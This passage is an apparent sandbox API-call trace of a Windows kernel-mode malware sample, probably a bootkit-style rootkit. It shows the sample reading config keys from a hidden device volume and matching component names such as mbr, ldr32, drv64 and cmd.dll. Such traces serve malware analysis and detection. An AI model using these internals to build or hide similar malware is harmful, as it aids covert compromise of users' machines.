_strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.524] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.524] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.524] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.524] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.524] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.524] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.524] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.524] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.524] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.524] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.524] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.524] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.524] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.524] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.524] KeLeaveCriticalRegion () [0117.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.524] ReleaseMutex (hMutex=0x100) returned 1 [0117.524] Sleep (dwMilliseconds=0x2bf20) [0117.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x693fcf10, dwHighDateTime=0x1d24fa4)) [0117.530] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.530] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.530] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.530] KeEnterCriticalRegion () [0117.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.530] IdePortDispatch () returned 0x103 [0117.530] KeWaitForMutexObject () returned 0x0 [0117.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.531] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.531] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.531] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.531] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.531] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9560 [0117.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] KeLeaveCriticalRegion () [0117.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.531] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.531] KeEnterCriticalRegion () [0117.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] KeLeaveCriticalRegion () [0117.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.531] KeEnterCriticalRegion () [0117.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.531] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.531] IdePortDispatch () returned 0x103 [0117.531] KeWaitForMutexObject () returned 0x0 [0117.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] KeLeaveCriticalRegion () [0117.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.531] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.531] KeEnterCriticalRegion () [0117.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc4000 [0117.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.531] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.532] IdePortDispatch () returned 0x103 [0117.532] KeWaitForMutexObject () returned 0x0 [0117.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.532] IdePortDispatch () returned 0x103 [0117.532] KeWaitForMutexObject () returned 0x0 [0117.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.532] KeLeaveCriticalRegion () [0117.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.532] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.532] KeEnterCriticalRegion () [0117.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] KeLeaveCriticalRegion () [0117.533] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.533] KeEnterCriticalRegion () [0117.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.533] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] KeLeaveCriticalRegion () [0117.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.533] KeEnterCriticalRegion () [0117.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] ExFreePoolWithTag (P=0xfffffa80039d9560, Tag=0x0) [0117.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] KeLeaveCriticalRegion () [0117.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.533] ReleaseMutex (hMutex=0xf0) returned 1 [0117.533] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.533] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.533] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.533] KeEnterCriticalRegion () [0117.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.533] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.533] IdePortDispatch () returned 0x103 [0117.533] KeWaitForMutexObject () returned 0x0 [0117.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.533] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.533] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.533] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.533] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.533] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9ac0 [0117.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] KeLeaveCriticalRegion () [0117.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.534] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.534] KeEnterCriticalRegion () [0117.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] KeLeaveCriticalRegion () [0117.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.534] KeEnterCriticalRegion () [0117.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.534] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.534] IdePortDispatch () returned 0x103 [0117.534] KeWaitForMutexObject () returned 0x0 [0117.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] KeLeaveCriticalRegion () [0117.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.534] KeEnterCriticalRegion () [0117.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc5000 [0117.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.534] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.534] IdePortDispatch () returned 0x103 [0117.534] KeWaitForMutexObject () returned 0x0 [0117.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.535] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.535] IdePortDispatch () returned 0x103 [0117.535] KeWaitForMutexObject () returned 0x0 [0117.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.535] KeLeaveCriticalRegion () [0117.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.535] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.535] KeEnterCriticalRegion () [0117.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.535] KeLeaveCriticalRegion () [0117.535] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.535] KeEnterCriticalRegion () [0117.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.536] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] KeLeaveCriticalRegion () [0117.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.536] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.536] KeEnterCriticalRegion () [0117.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] ExFreePoolWithTag (P=0xfffffa80039d9ac0, Tag=0x0) [0117.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] KeLeaveCriticalRegion () [0117.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.536] ReleaseMutex (hMutex=0xf0) returned 1 [0117.536] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.536] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.536] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.536] KeEnterCriticalRegion () [0117.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.536] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.536] IdePortDispatch () returned 0x103 [0117.536] KeWaitForMutexObject () returned 0x0 [0117.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dad70 [0117.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.536] KeLeaveCriticalRegion () [0117.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.536] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.536] KeEnterCriticalRegion () [0117.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.537] KeLeaveCriticalRegion () [0117.537] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.537] KeEnterCriticalRegion () [0117.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.537] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.537] IdePortDispatch () returned 0x103 [0117.537] KeWaitForMutexObject () returned 0x0 [0117.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.537] KeLeaveCriticalRegion () [0117.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.537] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.537] KeEnterCriticalRegion () [0117.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc6000 [0117.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.537] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.537] IdePortDispatch () returned 0x103 [0117.537] KeWaitForMutexObject () returned 0x0 [0117.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.538] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.538] IdePortDispatch () returned 0x103 [0117.538] KeWaitForMutexObject () returned 0x0 [0117.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.538] KeLeaveCriticalRegion () [0117.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.538] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.538] KeEnterCriticalRegion () [0117.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] KeLeaveCriticalRegion () [0117.539] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.539] KeEnterCriticalRegion () [0117.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.539] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039dae30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] KeLeaveCriticalRegion () [0117.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.539] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.539] KeEnterCriticalRegion () [0117.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] ExFreePoolWithTag (P=0xfffffa80039dad70, Tag=0x0) [0117.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] KeLeaveCriticalRegion () [0117.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.539] ReleaseMutex (hMutex=0xf0) returned 1 [0117.539] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.539] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.539] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.539] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.539] KeEnterCriticalRegion () [0117.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 